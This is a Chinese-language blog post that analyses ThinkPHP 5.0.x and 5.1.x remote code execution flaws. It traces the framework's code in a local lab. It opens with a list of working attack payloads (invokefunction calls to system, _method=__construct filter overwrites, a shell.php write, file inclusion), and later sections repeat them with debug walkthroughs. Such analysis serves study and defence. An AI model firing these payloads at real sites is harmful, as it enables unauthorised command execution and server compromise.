Thinkphp5 RCE

Saofe1a

thinkphp5最出名的就是rce,rce有两个大版本的区别

  1. ThinkPHP 5.0.0-5.0.24
  2. ThinkPHP 5.1.0-5.1.30

RCE payload总结

因为漏洞具体触发点和版本的不同,导致payload分为了很多种,总体来看依然分两大种:

  1. 直接访问路由触发,由于未开启强制路由,且Request类在兼容模式下获取的控制器没有进行合法校验导致的rce

5.1.x :

1
2
3
4
5
?s=index/think\Request/input&filter[]=system&data=pwd  
?s=index/think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x :

1
2
3
4
5
?s=index/think\config/get&name=database.username # 获取配置信息  
?s=index/think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/think\Config/load&file=../../t.php # 包含任意.php文件
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami
  1. 另一种是因为Request类的method__construct方法造成的
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    http://php.local/thinkphp5.0.5/public/index.php?s=index

    post
    _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
    _method=__construct&filter[]=system&method=GET&get[]=whoami

    # ThinkPHP <= 5.0.13
    POST /?s=index/index
    s=whoami&_method=__construct&method=&filter[]=system

    # ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
    POST /
    _method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

    # ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
    POST /?s=xxx HTTP/1.1
    _method=__construct&filter[]=system&method=get&get[]=ls+-al
    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

具体使用payload的时候可以多试几条。

method任意调用方法导致rce

在apache根目录composer安装

1
composer create-project topthink/think tp 5.0.22

开启debug模式

环境

打开application/config.php

1
2
3
4
5
return [
// 其他配置...
'app_debug' => true, // 开启调试模式
'trace' => true, // 开启页面Trace
];

payload:

GET:http://localhost:8888/tp/public/ POST:_method=__construct&filter=system&server[REQUEST_METHOD]=whoami`

Debug

咱们debug之前先看看Request.php中的关键方法
__construct在控制options的情况下可以实现对类中变量的覆盖

method方法,可以实现任意request类中方法的调用,其中这个$this->{$this->method}($_POST)可以通过var_method改变,var_method可以通过POST传入_method来改变。于是自然想到可以传入_method=
__construct来进行变量覆盖

filterValue方法,只要我们控制了value和filter的值,call_user_func($filter, $value)就可以实现任意方法的调用

接下来步入正题,打上断点跟着走,入口在public/index.php

会引入框架的start.php,再跳到run()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
public static function run(Request $request = null)
{
...省略...
// 获取应用调度信息
$dispatch = self::$dispatch;
if (empty($dispatch)) {
// 进行URL路由检测
$dispatch = self::routeCheck($request, $config);
}
// 记录当前调度信息
$request->dispatch($dispatch);

// 记录路由和请求信息
if (self::$debug) {
Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
}
/*...省略部分...*/
switch ($dispatch['type']) {
case 'redirect':
// 执行重定向跳转
$data = Response::create($dispatch['url'], 'redirect')->code($dispatch['status']);
break;
case 'module':
// 模块/控制器/操作
$data = self::module($dispatch['module'], $config, isset($dispatch['convert']) ? $dispatch['convert'] : null);
break;
case 'controller':
// 执行控制器操作
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = Loader::action($dispatch['controller'], $vars, $config['url_controller_layer'], $config['controller_suffix']);
break;
case 'method':
// 执行回调方法
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = self::invokeMethod($dispatch['method'], $vars);
break;
case 'function':
// 执行闭包
$data = self::invokeFunction($dispatch['function']);
break;
case 'response':
$data = $dispatch['response'];
break;
default:
throw new \InvalidArgumentException('dispatch type not support');
}
}

首先是经过$dispatch = self::routeCheck($request, $config)检查调用的路由
然后会根据debug开关来选择是否执行Request::instance()->param()
下面的switch方法是我们未开启debug模式时要利用的方法,这个我们后面细说

进入routeCheck方法

直接跳到check,check方法的关键在这里,调用了request变量的method方法,看监视可知$request=think\Request,所以调用的就是request类里面的那个method方法

继续跟进,可以看到,由于我们是无参调用,所以这个method变量的值是false,从而进入到我们的任意request类方法调用环节,_method=
__construct,传入的是construct,跳到construct:

进行变量覆盖,结合我们的payload中可知这次覆盖了两个变量,把filter变量覆盖成了system,把server变量覆盖成了REQUEST_METHOD=whoami,变量覆盖完成,只需要调用即可,回到run方法中:

这是第二个关键点,由于我们的debug模式是true,所以进入到if语句,这里关键的地方就是调用了think\Requestparam()方法,跟进:

这里再一次调用了request类的method方法,和上文不同的是传入的参数是true

直接调用server方法,传入的字符串是REQUEST_METHOD,跟进server,可以看到,由于我们先前进行了变量覆盖,这里的server不是空的,就可以绕过这个替换,维持原来的值,看到后面调用了input方法,传入的参数是之前覆盖了的server和REQUEST_METHOD这个字符串

第一处关键在这里,这里的意思就是将server[REQUEST_METHOD]也就是whoami传给了data

第二处关键在这里,filterValue传进去的data就是我们的rce命令,也就是whoami,而filter就是我们之前变量覆盖后的system,最终在filterValue中的call_user_func完成命令执行,这个上文说了

总结

通过控制_method使得调用_construct方法,通过传入filter=system&server[REQUEST_METHOD]=whoami来实现变量覆盖,最后通过debug模式开启,调用param()方法来最终完成RCE

未开启debug模式

环境

打开application/config.php

1
2
3
4
5
return [
// 其他配置...
'app_debug' => false, // 开启调试模式
'trace' => false, // 开启页面Trace
];

cmd:composer require topthink/think-captcha=1.*

payload

GET:http://localhost:8888/tp/public/?s=captcha

POST:_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami

Debug

前面的部分和debug模式下大相径庭,我们直接跳到if (self::$debug)后面,继续往下看

跟进exec函数,发现当$dispatch['type']是controller或者method的时候,会继续调用param()函数:

之后进入param()方法后的流程就和之前一样了,都是通过param进行rce,那我们需要考虑的问题就是怎么让$dispatch[‘type’]=method

在thinkphp5完整版中官网揉进去了一个验证码的路由,可以通过这个路由来使得$dispatch[‘type’] 等于 method ,从而完成rce漏洞。

具体操作就是直接通过路由访问GET:?s=captcha

之前的那种方法进入method方法后,后面的代码就不用管了,但是这种方法下面的代码仍需要进行,故需要把请求方法设置成get才能访问路由,又因为method()方法的返回值是return $this->method;,所以__construct()方法里面把$this->method覆盖成get就可以,也就是说我们post传的参要多一个method=get

未开启强制路由导致RCE

环境

1
composer create-project topthink/think=5.1.29 tp51x --prefer-dist

composer.json

1
2
3
4
5
"require": {
"php": ">=5.6.0",
"topthink/framework": "5.1.29",
"topthink/think-captcha": "2.*"
}

然后composer update

payload

?s=index/think\Request/input&filter=system&data=whoami

Debug

环境默认采取了兼容模式且强制路由关闭,那么我们可以用兼容模式来调用控制器,当没有对控制器过滤时,我们可以调用任意的方法来执行

前面说过所有用户参数都会经过 Request 类的 input 方法处理,该方法会调用 filterValue 方法,而 filterValue 方法中使用了 call_user_func ,那么我们就来尝试利用这个方法

可以看到根本的逻辑就是先get构建app应用,再run,最后send返回结果,rce在run方法中发生,直接跳过get方法进入run方法

run方法前面也是一些初始化应用的操作,重点在这里,先通过routeCheck方法再通过init方法获得dispatch变量的值

跟进routeCheck,直接看获取dispatch部分,可以看到这里两个参数,一个是我们输入的s后面的路径,另一个must用来表示未开启强制路由模式:

跟进check方法,盯住变量检测栏,可以看到这里是把我们的/换成|,url变为了index|think\request|input,后面还有很多处理,但是处理完之后还是不变:

最终routeCheck返回的dispatch就是index|think\request|input,接着进行init方法的处理

跟进parseUrl方法,看如何解析我们传入的url,一通跟进

一句话解释就是将我们传入的url按照模块/控制器/方法拆成了route数组,然后返回成最终的dispatch,回到run方法中

来到run方法中的下一个关键点

调用了dispatch的run方法,跟进其中的exec这个危险方法,这个方法的作用就是实例化了控制器think\request,并且通过反射机制获取了url中传入的我们需要调用的方法input,且利用param方法获得请求参数,即filter=system&data=dir,总的来说就是为rce做好了准备

绑定好参数之后最终调用request.php中的input方法,关键是这里:

跟进filterValue,发现里面直接call_user_func了,func是filter,data是参数,实现rce

总结

整体思路:由于未强制开启路由且是兼容模式,我们传入的参数会被成功解析并调用,相当于按模块/控制器/方法名调用了input,再传入filter作为方法名,data作为参数实现rce

  • Title: Thinkphp5 RCE
  • Author: Saofe1a
  • Created at : 2024-10-07 21:08:48
  • Updated at : 2024-10-07 21:08:12
  • Link: https://saofeia.github.io/2024/10/07/Thinkphp5--RCE/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments